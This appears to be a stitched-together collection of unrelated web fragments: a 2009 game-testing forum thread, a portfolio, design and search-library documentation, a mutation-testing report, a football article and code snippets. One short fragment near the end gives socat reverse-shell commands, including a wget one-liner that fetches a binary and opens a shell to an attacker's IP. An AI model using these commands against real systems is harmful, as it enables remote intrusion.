Page 3 of 6
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:33 pm
by ven
lol hopefully we can get to a back-up to save our gear and lvls lol
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:36 pm
by strafe of x2
man i hope so cause thats lvl 10 for like the 3rd time lol and both of us in pretty good sets
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:37 pm
by ven
wonder why he took it down this time.. it wasn't lagging
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:38 pm
by strafe of x2
probly just adding something or tweakin it. i wish it had version notes.
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:40 pm
by ven
lol yea and a server status on the website
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:41 pm
by strafe of x2
heh that could definately help cause i cant alt+tab outta evidyon without it crashin
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:43 pm
by ven
o i don't even try that.. i know my computer would throw a fit if i did..
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:45 pm
by Funk
at least the new download actully works on my pc now so thats always a gd start
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:46 pm
by ven
hah yea i guess you can look at it that way.. have you even got in to play yet funk?
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:47 pm
by ven
well im going to go eat and what not.. i'll see you guys later
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:48 pm
by strafe of x2
aww
bye
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:48 pm
by Funk
ven wrote:hah yea i guess you can look at it that way.. have you even got in to play yet funk?
Nope
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 2:59 pm
by strafe of x2
well i jsut set up my dual monitors while i waited lol
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 3:41 pm
by ven
it always get lagging when karl gets on
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 4:01 pm
by strafe of x2
lol wellll i guess thats it for a while gotta run up to town and get some poo done
i will bbl
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 4:01 pm
by ven
did someone take server down? okay ill cya later strafe.. im going to stop for awhile too
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 4:05 pm
by daekighn
Woot got to play for 30 seconds
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 4:06 pm
by strafe of x2
someone probly gather too much poo again so it probly wont be up till karl notices. he said soemthing about gf's parents comin over so it might be a min
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 5:50 pm
by Joe M.
Looks like y'all have had a full day of testing! I haven't talked to Karl yet this evening, so I can't help you as far as what all has been fixed and when the server might be going back up, but it sounds like y'all probably know more of the details than I do anyway.
My classes started today, so I'll be around less than I have been, but I'll be checking in nightly and trying to get on for a few minutes of play.
So hopefully I'll see y'all on whenever the server comes back up.
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:05 pm
by ven
yea sounds good joe.. it was pretty fun today but right now i believe Karl is busy with what Strafe said earlier.. can't wait to get some playing time with you, since you were kind to me before pre-beta came out
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:08 pm
by cr0n0s
Yeah, it was a lot of fun.
I'm loving the lucan hunter btw. :p
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:09 pm
by Caps
How often does the server actually store the characters and accounts?
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:18 pm
by Griblin
awww....i wanna play sooo bad
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:18 pm
by Part-Time Modeler
As far as I know, the accounts are wiped evertime there is an update for now.
People are leveling too quickly and more bugs need worked out. Karl said until this weekend
we should expect to have to create a new account each time the server goes down or when he wipes it, just about every day till the bugs are worked out.
Re: What's going on with this update
Posted:
Mon Aug 24, 2009 6:20 pm
by Volcomboy99
lucan hunters are the way to go lol


I designed various Pages, mailers by understanding the code & architecture in briefs. I worked on a project titled ‘Dobiznow-Web app’ during my internship. During the internship I demonstrated good design & coding skills with a self-motivated attitude to learn new things. Internship Certificate.
As Web Developer I learned many new technologies like expressJS, AngularJS, JS, & nodeJS. I also learn to develop REST Api with CURD operation.
View ResumeInventory Pro you can signUp and can create your product list. Here you can add as many product as you want. You can delete or edit any product from the list any time you want to. To see it in action click See live button
Cake House is the online cake ecommerce site. Where you can choose/search your favorite cake from the available cakes list and you can also add the cakes to the cart and checkout later.
FaceX Recognizer is web based ocr project. Due to which you can use it on any OS. Here you can extract data from image without getting any complication. As we have easy to use UI. To achive ocr functionality I used google vision api.


How To Make a Triangle with CSS:
Make a box
Notice how the borders meet at a 45 degree angle
Set the height and width of the box to 0
Pick your direction and make the other borders transparent
Adjust border widths to shape the arrow


Static Code Metrics Report
Static Code Metrics report is not generated. On the Configuration Parameters > Code Generation > Report pane, select Generate static code metrics. On the model diagram window, select Code > C/C++ Code > Code Generation Report > Open Model Report or rebuild the model.


--- layout: default ---
Open Color defines specified usage of each color. This post describes supposed usage of colors. Open Color will help you easily decide what color to use for your product. You might want to call it a manual. If you aren't quite sure about the colors you choose, this manual can help you figure out. Open Color is not a rule set. It only suggests you affordable options. Issue reports and Pull requests are always welcome.
When gray is used for a UI element, the brightness itself can imply specific significance. When an element turns dark as you hover your mouse, this indicates that the element is clickable. A distinctively bright gray one indicates that the element has been disabled or expired. Other colors in Open Color have a constant difference in brightness separated into ten different levels. However, gray colors of Open Color don't vary in the same degree because specific brightness holds implications as mentioned.
Let's find out how each color is used.
Gray 7 or Gray 8 is recommended for body text. The soft color of Gray 7 naturally matches with a background. Therefore it is appropriate for a UI element with concrete function such as menu labels or buttons. If a content itself is empathized as in blog posts, SNS or headline, Gray 8 can make a clearly readable text.
Proin ut ligula vel nunc egestas porttitor. Morbi lectus risus, iaculis vel, suscipit quis, luctus non, massa. Fusce ac turpis quis ligula lacinia aliquet.
Proin ut ligula vel nunc egestas porttitor. Morbi lectus risus, iaculis vel, suscipit quis, luctus non, massa. Fusce ac turpis quis ligula lacinia aliquet.
Text is often written in gray as well as black. Text in gray can be categorized into two usages. Gray is useful for text which isn’t as important as others. For example, additional explanations below headlines or metadata. Gray 6 is handy because it is a brighter color compared to the body text yet read as disabled. On the other hand, gray is also appropriate to indicate disabled forms, buttons and links. In this case, Gray 5 is recommended.
Proin ut ligula vel nunc egestas porttitor. Morbi lectus risus, iaculis vel, suscipit quis, luctus non, massa. Fusce ac turpis quis ligula lacinia aliquet.
Proin ut ligula vel nunc egestas porttitor. Morbi lectus risus, iaculis vel, suscipit quis, luctus non, massa. Fusce ac turpis quis ligula lacinia aliquet.
In many products, we can see the background in white, but if you want to switch modes or separate spaces, light gray such as Gray 0 or Gray 1 can be chosen. Until recently, Gray 0 (#f8f9fa
) which is fairly close to white wasn’t used. However, as display technology in digital devices advance and extremely simple designs come in trend, a very bright gray color started to appear in UI. For that reason, Gray 1 can seem a bit old-fashioned, but it is affordable for low-end devices and users who don’t have clear eyesight.When separating spaces with color over Gray 0 background, Gray 1 is useful.
You can use darker background color to represent status change such as active, hover for elements like buttons. In this case, 2 levels darker than normal buttons are suggested.
Stroke elements use Gray 3 and Gray 4. Gray 3 is affordable for strokes which divide compartments such as <hr>
. Gray 4 is appropriate for strokes implying boundary of forms or buttons can be operated.
Use Gray 2 when hinting a disabled status.
Although Open Color is based on UI style of a white background with elements in strokes, the black background is often chosen along with the white text. At this point, the Gray 9 for background, Gray 7 for strokes and text can be in Gray 0, Gray 5, Gray 6.


Syte lets you hide certain posts from people you invite as clients. You can turn this on to start choosing what clients see, even if you are not ready to invite clients yet


"There's a little group of isles beyond the wave - so tiny, you might almost wonder where it is" |
|
Both New Zealand and Australia are unique in that culturally these countries were not as remote as some 19th Century historians would have us believe. Many touring companies made their way over here from various parts of Europe and Antipodians would often see new operas and operettas more quicker than they could see a new Andrew Lloyd Webber musical today. Opera Houses and theatres were built and many great established singers toured this part of the world. In one particular week in Melbourne in 1879 it was possible to see Aida, Lohengrin, Carmen, Maritana, Henry V, The Corsican Brothers and two different productions of H.M.S. Pinafore. A record hard to beat even today. With thanks mainly due to James Cassius Williamson, musical theatre knew no boundaries in this part of the world. What follows is the extradordinary history of musical theatre in this part of the world. The successes, hardships, embrassasments and heartbreaks are all told in detail. Reviews are quoted and pockets of news are liberally spread throughout these pages. Although my main reason for this website is to concentrate on Gilbert and Sullivan we also manage to take an in depth look at Australian Theatre in general.


Test
Twitter Bootstrap
Font Awesome
angular-ui-bootstrap
Automatic Build System
Automatic JS and CSS optimizations
some cool stuff here


Choose your gem color
Match your Pebble to your outfit by choosing different gem colors.
Gem
Diamond
Aquamarine
Sapphire
Emerald
Pink Quartz
Amethyst
Ruby
Topaz


| 1 | ||
| 2 | package paavohuh.sourcream.emulation; | |
| 3 | ||
| 4 | import java.util.concurrent.ScheduledExecutorService; | |
| 5 | import java.util.concurrent.ScheduledFuture; | |
| 6 | import java.util.concurrent.ScheduledThreadPoolExecutor; | |
| 7 | import java.util.concurrent.TimeUnit; | |
| 8 | ||
| 9 | /** | |
| 10 | * A thread-safe tick-down timer. Ticks down at the configured rate until | |
| 11 | * reaching zero. When zero is reached, the timer continues ticking, but doesn't | |
| 12 | * decrement the value any further. | |
| 13 | */ | |
| 14 | public class Timer implements Runnable { | |
| 15 | private int value; | |
| 16 | private final float ratePerSecond; | |
| 17 | private final Object valueLock; | |
| 18 | private final ScheduledExecutorService scheduler; | |
| 19 | private ScheduledFuture<?> future; | |
| 20 | | |
| 21 | /** | |
| 22 | * Creates a new timer. | |
| 23 | * @param value The initial value of the timer. | |
| 24 | * @param ratePerSecond The number of ticks per second. | |
| 25 | */ | |
| 26 | public Timer(int value, float ratePerSecond) { | |
| 27 | this.value = value; | |
| 28 | this.valueLock = true; | |
| 29 | this.scheduler = new ScheduledThreadPoolExecutor(1); | |
| 30 | this.ratePerSecond = ratePerSecond; | |
| 31 | } | |
| 32 | | |
| 33 | /** | |
| 34 | * Starts the timer. | |
| 35 | */ | |
| 36 | public void start() { | |
| 37 |
1
1. start : negated conditional → KILLED |
if (future != null) { |
| 38 | future.cancel(false); | |
| 39 | } | |
| 40 | | |
| 41 |
2
1. start : Replaced float division with multiplication → KILLED 2. start : Replaced float multiplication with division → KILLED |
future = scheduler.scheduleAtFixedRate(this, 0, (long) (1.0f / ratePerSecond * 1000), TimeUnit.MILLISECONDS); |
| 42 | } | |
| 43 | ||
| 44 | /** | |
| 45 | * Gets whether or not the timer is running. | |
| 46 | * @return True if the timer is running. | |
| 47 | */ | |
| 48 | public boolean isRunning() { | |
| 49 |
1
1. isRunning : negated conditional → NO_COVERAGE |
if (future == null) { |
| 50 |
1
1. isRunning : replaced return of integer sized value with (x == 0 ? 1 : 0) → NO_COVERAGE |
return false; |
| 51 | } | |
| 52 | | |
| 53 |
2
1. isRunning : negated conditional → NO_COVERAGE 2. isRunning : replaced return of integer sized value with (x == 0 ? 1 : 0) → NO_COVERAGE |
return !future.isDone(); |
| 54 | } | |
| 55 | | |
| 56 | /** | |
| 57 | * Stops the timer. | |
| 58 | */ | |
| 59 | public void stop() { | |
| 60 |
1
1. stop : negated conditional → SURVIVED |
if (future == null) { |
| 61 | return; | |
| 62 | } | |
| 63 | | |
| 64 | future.cancel(true); | |
| 65 | } | |
| 66 | | |
| 67 | /** | |
| 68 | * Gets the value of the timer. | |
| 69 | * @return The value. | |
| 70 | */ | |
| 71 | public int getValue() { | |
| 72 | synchronized (valueLock) { | |
| 73 |
1
1. getValue : replaced return of integer sized value with (x == 0 ? 1 : 0) → KILLED |
return value; |
| 74 | } | |
| 75 | } | |
| 76 | ||
| 77 | /** | |
| 78 | * Sets the value of the timer. | |
| 79 | * @param value The value. | |
| 80 | */ | |
| 81 | public void setValue(int value) { | |
| 82 | synchronized (valueLock) { | |
| 83 | this.value = value; | |
| 84 | } | |
| 85 | } | |
| 86 | ||
| 87 | @Override | |
| 88 | public void run() { | |
| 89 | synchronized (valueLock) { | |
| 90 |
2
1. run : changed conditional boundary → KILLED 2. run : negated conditional → KILLED |
if (value > 0) { |
| 91 |
1
1. run : Replaced integer subtraction with addition → KILLED |
value--; |
| 92 | } | |
| 93 | } | |
| 94 | } | |
| 95 | | |
| 96 | public float getRatePerSecond() { | |
| 97 |
1
1. getRatePerSecond : replaced return of float value with -(x + 1) for paavohuh/sourcream/emulation/Timer::getRatePerSecond → NO_COVERAGE |
return ratePerSecond; |
| 98 | } | |
| 99 | } | |
Mutations | ||
| 37 |
1.1 |
|
| 41 |
1.1 2.2 |
|
| 49 |
1.1 |
|
| 50 |
1.1 |
|
| 53 |
1.1 2.2 |
|
| 60 |
1.1 |
|
| 73 |
1.1 |
|
| 90 |
1.1 2.2 |
|
| 91 |
1.1 |
|
| 97 |
1.1 |


Xapian Learning-to-Rank¶
Table of Contents
Introduction¶
Learning-to-Rank(LTR) can be viewed as a weighting scheme which involves machine learning. The main idea behind LTR is to bring up relevant documents given a low ranking by probablistic techniques like BM25 by using machine learning models. A model is trained by learning from the relevance judgements provided by a user corresponding to a set of queries and a corpus of documents. This model is then used to re-rank the matchset to bring more relevant documents higher in the ranking. Learning-to-Rank has gained immense popularity and attention among researchers recently.
LTR can be broadly seen in two stages: Learning the model and Ranking. Learning the model takes the training file as input and produces a model. After that given this learnt model, when a new query comes in, scores can be assigned to the documents associated to it.
Preparing the Training file¶
Currently the ranking models supported by LTR are supervised learning models. A supervised learning model requires a labelled training data as an input. To learn a model using LTR you need to provide the training data in the following format.
0 qid:10032 1:0.130742 2:0.000000 3:0.333333 4:0.000000 ... 18:0.750000 19:1.000000 #docid = 1123323
1 qid:10032 1:0.593640 2:1.000000 3:0.000000 4:0.000000 ... 18:0.500000 19:0.023400 #docid = 4222333
Here each row represents the document for the specified query. The first column is the relevance label and which can take non-negative values. The second column represents the queryid, and the last column is the docid. The third column represents the value of the features.
As mentioned before, this process requires a training file in the above format. xapian-letor API empowers you to generate such training file. But for that you have to supply some information like:
Query file: This file has information of queries to be involved in learning and its id. It should be formatted in such a way:
2010001 'landslide,malaysia' 2010002 'search,engine' 2010003 'Monuments,of,India' 2010004 'Indian,food'
where 2010xxx being query-id followed by a comma separated query in single-quotes.
Qrel file: This is the file containing relevance judgements. It should be formatted in this way:
2010003 Q0 19243417 1 2010003 Q0 3256433 1 2010003 Q0 275014 1 2010003 Q0 298021 0 2010003 Q0 1456811 0
where first column is query-id, third column is Document-id and fourth column being relevance label which is 0 for irrelevance and 1 for relevance. Second column is many times referred as ‘iter’ but doesn’t really important for us. All the fields are whitespace delimited. This is the standard format of almost all the relevance judgement files. If you have relevance judgements in a different format then you can convert it to this format using a text processing tool such as ‘awk’.
Collection Index : Here you supply the path to the index of the corpus. If you have ‘title’ information in the collection with some xml/html tag or so then add:
indexer.index(title,1,"S");
You can refer to the “Indexing” section under “A practical example” heading for the Collection Index. The database created in the practical example will be used as the collection index for the examples. In particular we are going to be using all the documents which contain the term “watch”, which will be used as the query for the examples.
Provided such information, API is capable of creating the training file which is in the mentioned format and can be used for learning a model.
To prepare a training file run the following command from the top level directory. This example assumes that you have created the db from the first example in “Indexing” section under “A practical example” header and you have installed xapian-letor.
$ xapian-prepare-trainingfile --db=db data/query.txt data/qrel.txt training_data.txt
xapian-prepare-trainingfile is a utility present after you have installed xapian-letor. This should create a training_data.txt which should have the similar values to the data/training_data.txt.
The source code is present for xapian-prepare-trainingfile.cc is present at xapian/xapian-letor/bin/xapian-prepare-trainingfile.cc.
Learning the Model¶
In xapian-letor we support the following learning algorithms:
You can use any one of the rankers to Learn the model. The command line tool xapian-train uses ListNET as the ranker for learning. To learn a model run the following command from the top level directory.
$ xapian-train --db=db data/training_data.txt "ListNET_Ranker"
Ranking¶
After we have built a model, it’s quite straightforward to get a real score for a particular document for the given query. Here we supply the first hand retrieved ranked-list to the Ranking function, which assigns a new score to each document after converting it to the same dimensioned feature vector. This list is re-ranked according to the new scores.
Here’s the significant part of the example code to implement ranking.
void rank_letor(string db_path, string model_key, string query_)
{
Xapian::Stem stemmer("english");
Xapian::doccount msize = 10;
Xapian::QueryParser parser;
parser.add_prefix("title", "S");
parser.add_prefix("subject", "S");
Xapian::Database db(db_path);
parser.set_database(db);
parser.set_default_op(Xapian::Query::OP_OR);
parser.set_stemmer(stemmer);
parser.set_stemming_strategy(Xapian::QueryParser::STEM_SOME);
Xapian::Query query_no_prefix = parser.parse_query(query_,
parser.FLAG_DEFAULT);
// query with title as default prefix
Xapian::Query query_default_prefix = parser.parse_query(query_,
parser.FLAG_DEFAULT,
"S");
// Combine queries
Xapian::Query query = Xapian::Query(Xapian::Query::OP_OR, query_no_prefix,
query_default_prefix);
Xapian::Enquire enquire(db);
enquire.set_query(query);
Xapian::MSet mset = enquire.get_mset(0, msize);
cout << "Docids before re-ranking by LTR model:" << endl;
for (Xapian::MSetIterator i = mset.begin(); i != mset.end(); ++i) {
Xapian::Document doc = i.get_document();
string data = doc.get_data();
cout << *i << ": [" << i.get_weight() << "]\n" << data << "\n";
}
// Initialise Ranker object with ListNETRanker instance, db path and query.
// See Ranker documentation for available Ranker subclass options.
Xapian::ListNETRanker ranker;
ranker.set_database_path(db_path);
ranker.set_query(query);
// Re-rank the existing mset using the letor model.
ranker.rank(mset, model_key);
cout << "Docids after re-ranking by LTR model:\n" << endl;
for (Xapian::MSetIterator i = mset.begin(); i != mset.end(); ++i) {
Xapian::Document doc = i.get_document();
string data = doc.get_data();
cout << *i << ": [" << i.get_weight() << "]\n" << data << "\n";
}
}
A full copy of this code is available in code/c++/search_letor.cc
You can run this code as follows to re-rank the list of documents retrieved from the db containing the term “watch” in the order of relevance as mentioned in the data/qrel.
$ g++ `xapian-config --cxxflags` code/c++/search_letor.cc -lxapianletor -o search_letor `xapian-config --libs`
$ ./search_letor db ListNET_Ranker watch
Docids before re-ranking by LTR model:
4: [6.7291]
1970-377
Watch with Chinese duplex escapement
Watch with Chinese duplex escapement
13: [6.29324]
1985-1538
Watch timer by P
Watch timer by P.L. Instruments Ltd., Welwyn Garden City; with tuning fork standard and spark printer
33: [5.77657]
1986-516
A device by Favag of Neuchatel which enables a stop watch to
A device by Favag of Neuchatel which enables a stop watch to be operated by an electric signal, 1961
18: [5.76966]
1987-1145
Solar/Sidereal verge watch with epicyclic maintaining power
Solar/Sidereal verge watch with epicyclic maintaining power by James Green, London, no. 5969, in silver pair case hallmarked 1776, believed to be the earliest English watch to indicate solar and sidereal time with seconds.
36: [5.52705]
1986-91
Universal 'Tri-Compax' chronographic wrist watch
'Tri-Compax' calendar chronograph wristwatch in gold case, by Universal, Geneva, Switzerland, 1960-1986.
15: [5.05174]
1985-1914
Ingersoll "Dan Dare" automaton pocket watch with pin-pallet
Ingersoll "Dan Dare" automaton pocket watch with pin-pallet lever escapement. The dial shows a helmeted Dan Dare holding a ray gun, with a monster approaching. The emblem of the " Eagle" children's comic is impressed in the back of case.
46: [2.5204]
1883-68
Model by Dent of mechanism for setting hands and winding up
Model by Dent of mechanism for setting hands and winding up a keyless watch
Docids after re-ranking by LTR model:
46: [-0.0075442]
1883-68
Model by Dent of mechanism for setting hands and winding up
Model by Dent of mechanism for setting hands and winding up a keyless watch
15: [-0.0298056]
1985-1914
Ingersoll "Dan Dare" automaton pocket watch with pin-pallet
Ingersoll "Dan Dare" automaton pocket watch with pin-pallet lever escapement. The dial shows a helmeted Dan Dare holding a ray gun, with a monster approaching. The emblem of the " Eagle" children's comic is impressed in the back of case.
33: [-0.0305018]
1986-516
A device by Favag of Neuchatel which enables a stop watch to
A device by Favag of Neuchatel which enables a stop watch to be operated by an electric signal, 1961
36: [-0.032863]
1986-91
Universal 'Tri-Compax' chronographic wrist watch
'Tri-Compax' calendar chronograph wristwatch in gold case, by Universal, Geneva, Switzerland, 1960-1986.
18: [-0.0338239]
1987-1145
Solar/Sidereal verge watch with epicyclic maintaining power
Solar/Sidereal verge watch with epicyclic maintaining power by James Green, London, no. 5969, in silver pair case hallmarked 1776, believed to be the earliest English watch to indicate solar and sidereal time with seconds.
13: [-0.0403684]
1985-1538
Watch timer by P
Watch timer by P.L. Instruments Ltd., Welwyn Garden City; with tuning fork standard and spark printer
4: [-0.0447454]
1970-377
Watch with Chinese duplex escapement
Watch with Chinese duplex escapement
Features¶
Features play a major role in the learning. In LTR, features are mainly of three types: query dependent, document dependent (pagerank, inLink/outLink number, number of children, etc) and query-document pair dependent (TF-IDF Score, BM25 Score, etc).
Currently we have incorporated 19 features which are described below. These features are statistically tested in Nallapati2004.
Here c(w,D) means that count of term w in Document D. C represents the Collection. ‘n’ is the total number of terms in query. \(|.|\) is size-of function and idf(.) is the inverse-document-frequency.
- \(\sum_{q_i \in Q \cap D} \log{\left( c(q_i,D) \right)}\)
- \(\sum_{i=1}^{n}\log{\left(1+\frac{c\left(q_i,D\right)}{|D|}\right)}\)
- \(\sum_{q_i \in Q \cap D} \log{\left(idf(q_i) \right) }\)
- \(\sum_{q_i \in Q \cap D} \log{\left( \frac{|C|}{c(q_i,C)} \right)}\)
- \(\sum_{i=1}^{n}\log{\left(1+\frac{c\left(q_i,D\right)}{|D|}idf(q_i)\right)}\)
- \(\sum_{i=1}^{n}\log{\left(1+\frac{c\left(q_i,D\right)}{|D|}\frac{|C|}{c(q_i,C)}\right)}\)
All the above 6 features are calculated considering ‘title only’, ‘body only’ and ‘whole’ document. So they make in total 6*3=18 features. The 19th feature is the Xapian weighting scheme score assigned to the document (by default this is BM25).The API gives a choice to select which specific features you want to use. By default, all the 19 features defined above are used.
One thing that should be noticed is that all the feature values are normalized at Query-Level. That means that the values of a particular feature for a particular query are divided by its query-level maximum value and hence all the feature values will be between 0 and 1. This normalization helps for unbiased learning.
Nallapati, R. Discriminative models for information retrieval. Proceedings of SIGIR 2004 (pp. 64-71).


Jurgen Klopp's wife prevented Liverpool boss taking Man Utd job before approving Anfield move
The German boss guided the Reds to an incredible Champions League triumph last season and has them on track for a Premier League title triumph this term
by Matt Maltby, https://www.mirror.co.uk/authors/matt-maltby/Jurgen Klopp is finally delivering success for Liverpool - but it could have been a different story if fierce rivals Manchester United had their way.
The German boss guided the Reds to an incredible Champions League triumph last season and has them on track for a Premier League title triumph this term.
Indeed, Klopp, 52, has turned things around remarkably since taking charge of the Anfield giants in 2015.
But former Reds defender Phil Thompson has revealed that United had previously attempted to bring him to the Premier League - only for the boss' wife Ulla to intervene and stop him making the switch.
Speaking to TV2 in Norway, Thompson said: "I interviewed Klopp for Sky, and I asked if he and Liverpool were created for each other. He looked at me and asked 'Why?'.
"Then Klopp told me he could have taken over Manchester United, but his wife said it wasn't right.
"When Liverpool arrived, his wife said it was right. There is something strange there. It is as if he's created for Liverpool."
At the time, believed to be 2013, Klopp was in charge of a Borussia Dortmund side who he guided to stunning back-to-back Bundesliga titles in 2010-11 and 11-12.
The German was being tipped as one of the finest managers of his generation while David Moyes was struggling in his first and only season in charge of the Red Devils.
Klopp's wife, a social worker and children's writer, predicted United's current struggles - and Thompson is delighted that Liverpool are now benefiting from his decision to hold firm.
"In my time we always lost three to four games [at this stage of the season], but this team leads by nine points and lost only one game last season," Thompson added.
"This season they have beaten everyone, except for a draw at Old Trafford. They are doing something great."


from .freezable import Freezable
import logging
import numpy as np
logger = logging.getLogger(__name__)
[docs]class Points(Freezable):
'''A list of :class:`Points<Point>` with a specification describing the
data.
Args:
data (``dict``, ``int`` -> :class:`Point`):
A dictionary of IDs mapping to :class:`Points<Point>`.
spec (:class:`PointsSpec`):
A spec describing the data.
'''
def __init__(self, data, spec):
self.data = data
self.spec = spec
self.freeze()
def __repr__(self):
return "%s, %s"%(self.data, self.spec)
[docs]class Point(Freezable):
'''A point with a location, as stored in :class:`Points`.
Args:
location (array-like of ``float``):
The location of this point.
'''
def __init__(self, location):
self.location = np.array(location, dtype=np.float32)
self.freeze()
def __repr__(self):
return str(self.location)
def copy(self):
return Point(self.location)
[docs]class PointsKey(Freezable):
'''A key to identify lists of points in requests, batches, and across
nodes.
Used as key in :class:`BatchRequest` and :class:`Batch` to retrieve specs
or lists of points.
Args:
identifier (``string``):
A unique, human readable identifier for this points key. Will be
used in log messages and to look up points in requests and batches.
Should be upper case (like ``CENTER_POINTS``). The identifier is
unique: Two points keys with the same identifier will refer to the
same points.
'''
def __init__(self, identifier):
self.identifier = identifier
self.hash = hash(identifier)
self.freeze()
logger.debug("Registering points type %s", self)
setattr(PointsKeys, self.identifier, self)
def __eq__(self, other):
return hasattr(other, 'identifier') and self.identifier == other.identifier
def __hash__(self):
return self.hash
def __repr__(self):
return self.identifier
class PointsKeys:
'''Convenience access to all created :class:`PointsKey`s. A key generated
with::
centers = PointsKey('CENTER_POINTS')
can be retrieved as::
PointsKeys.CENTER_POINTS
'''
pass


LEARN HOW TO USE OSERP
RECENT ORDERS
| Customer | Invoice Number | Delivery Due Date | Amount Due |
|---|---|---|---|
| {{ order.customer.company }} | {{ order.invoice_number }} | {{ order.delivery_due_date }} | ${{ order.customer.total_cost }} |
RECENT EXPENSES
| Expense Name | Description | Date Paid | Amount Paid |
|---|---|---|---|
| {{ expense.expense_name }} | {{ expense.description }} | {{ expense.date_paid }} | ${{ expense.amount_paid }} |


{% extends "base.html" %} {% block content %}
Create a form from your Google Drive account. Add a “Short answer” question with the title “{{ token_field_name }}”. It's important that you use that exact title.
Once you've created the form, view it. You should be at a URL that looks like https://docs.google.com/forms/d/2sYUU34lkjsd787khKJH23J8aslJKJ7asfh879/viewform . Copy that URL into this box:
https://docs.google.com/forms/d/2sYUU34lkjsd787khKJH23J8aslJKJ7asfh879/viewform


View a user's inventory or combine their friendslist to view all items at once. Search below to begin:
Example Inventory (Me): DotaInventory.com (View My Inventory)
Example Friends Merging (Me): DotaInventory.com (View My Friends' Items)
Example Wishlist (Me): DotaInventory.com (View My Wishlist)
Advertisement


Use Slack slash commands and let your team invoke Moubot API to tell them when the next match is on.
Easy 1-click deployment to Heroku. You will need to:
Contribute on Github. Help make Moubot even more awesome.


Inspirations
-----------------------------------
The Outsiders was mainly inspired by the social divisions in the high school that she went to.
Her friend group was the "Greasers" which meant that they were slightly more rebellious then the "Socs" short for socials
The socials were all the popular rich kids at school and the greasers were more middle class and less popular
Back


Just Journal is hosted on a MidnightBSD server using Apache 2.4, Apache Tomcat 7.0, and Java 1.6 (native). I use MySQL 5.6.x for the data store.
This is a common misconception. Java used at the server level is quite fast. Most people are thinking of Java Applications that use AWT or Swing when they say Java is slow. The Java GUI libraries are slow, but server side technologies power huge Internet sites including BestBuy.com, CircuitCity.com, and sun.com.
The current version needs work in this area, but I think that I can handle the load for some time. In reality, the weakest link is MySQL. I will work on Caching systems, and generating dynamic content into static form. I may end up moving away from mysql if performance becomes an issue.
LiveJournal was a great website when I first started using it. Unfortunetely, it didn't scale well. I suggested some changes to Live Journal including changing the styling system and switching to CSS for many of the "template tasks." It appeared that my comments were not going to be considered since the creator based it on a "language" he created called BML.
BML is an HTML template system written in Perl 5. It was designed help reuse blocks of html similar to objects. The idea was nice at the time, but it was implemented in Perl making it slow and Cascading Style Sheets solve most of the same problems. (presentation code reuse)
I did download the LiveJournal code to see if I could alter it and import my own style system, but LiveJournal is implemented as mod perl modules tightly integrated with the BML code. The use of mod perl for a legacy version of apache (1.3) showed me that the project was not salvagable without a lot of work. I finally decided to write a site from scratch in a language more suited to me.
LiveJournal has since implemented a caching system using a C server program (hash, storing "objects" in ram), and upgraded the style system. Recently, LiveJournal started storing practically everything in RAM.
There are several other limitations LiveJournal has because they must be backward compatible. Since I am writing JustJournal from scratch, I may avoid some of their mistakes making this site better than LJ.
Yes. I released the code under the BSD license. The windows client is under the GPL license due to code that I based it on. (LJ.NET client)


Client listen:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Server open port and reverse connect:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP_ADDRESS>:4444
Can download static binaries if socat isn't installed. Checkout: https://github.com/andrew-d/static-binaries
Server reverse without socat installed:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<YOUR IP>:<YOUR PORT>


|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
public interface Renderer
Interface for GVT Renderers.
| Method Summary | |
|---|---|
void |
dispose()
Cause the renderer to ask to be removed from external reference lists, de-register as a listener to events, etc. |
AffineTransform |
getTransform()
Returns a copy of the transform from the current user space (as defined by the top node of the GVT tree) to the device space (1 unit = 1/72nd of an inch / 1 pixel, roughly speaking |
GraphicsNode |
getTree()
Returns the GVT tree associated with this renderer |
boolean |
isDoubleBuffered()
Returns true if the Renderer is currently doubleBuffering is rendering requests. |
void |
repaint(RectListManager areas)
Repaints the associated GVT tree at least in areas under the list of areas. |
void |
repaint(Shape area)
Repaints the associated GVT tree at least under area. |
void |
setDoubleBuffered(boolean isDoubleBuffered)
Turns on/off double buffering in renderer. |
void |
setTransform(AffineTransform usr2dev)
Sets the transform from the current user space (as defined by the top node of the GVT tree, to the associated device space. |
void |
setTree(GraphicsNode treeRoot)
This associates the given GVT Tree with this renderer. |
| Method Detail |
|---|
void setTree(GraphicsNode treeRoot)
GraphicsNode getTree()
void repaint(Shape area)
area
- the region to be repainted, in the current user
space coordinate system.void repaint(RectListManager areas)
areas
- a List of regions to be repainted, in the current
user space coordinate system.void setTransform(AffineTransform usr2dev)
AffineTransform getTransform()
boolean isDoubleBuffered()
void setDoubleBuffered(boolean isDoubleBuffered)
void dispose()
|
||||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |


|
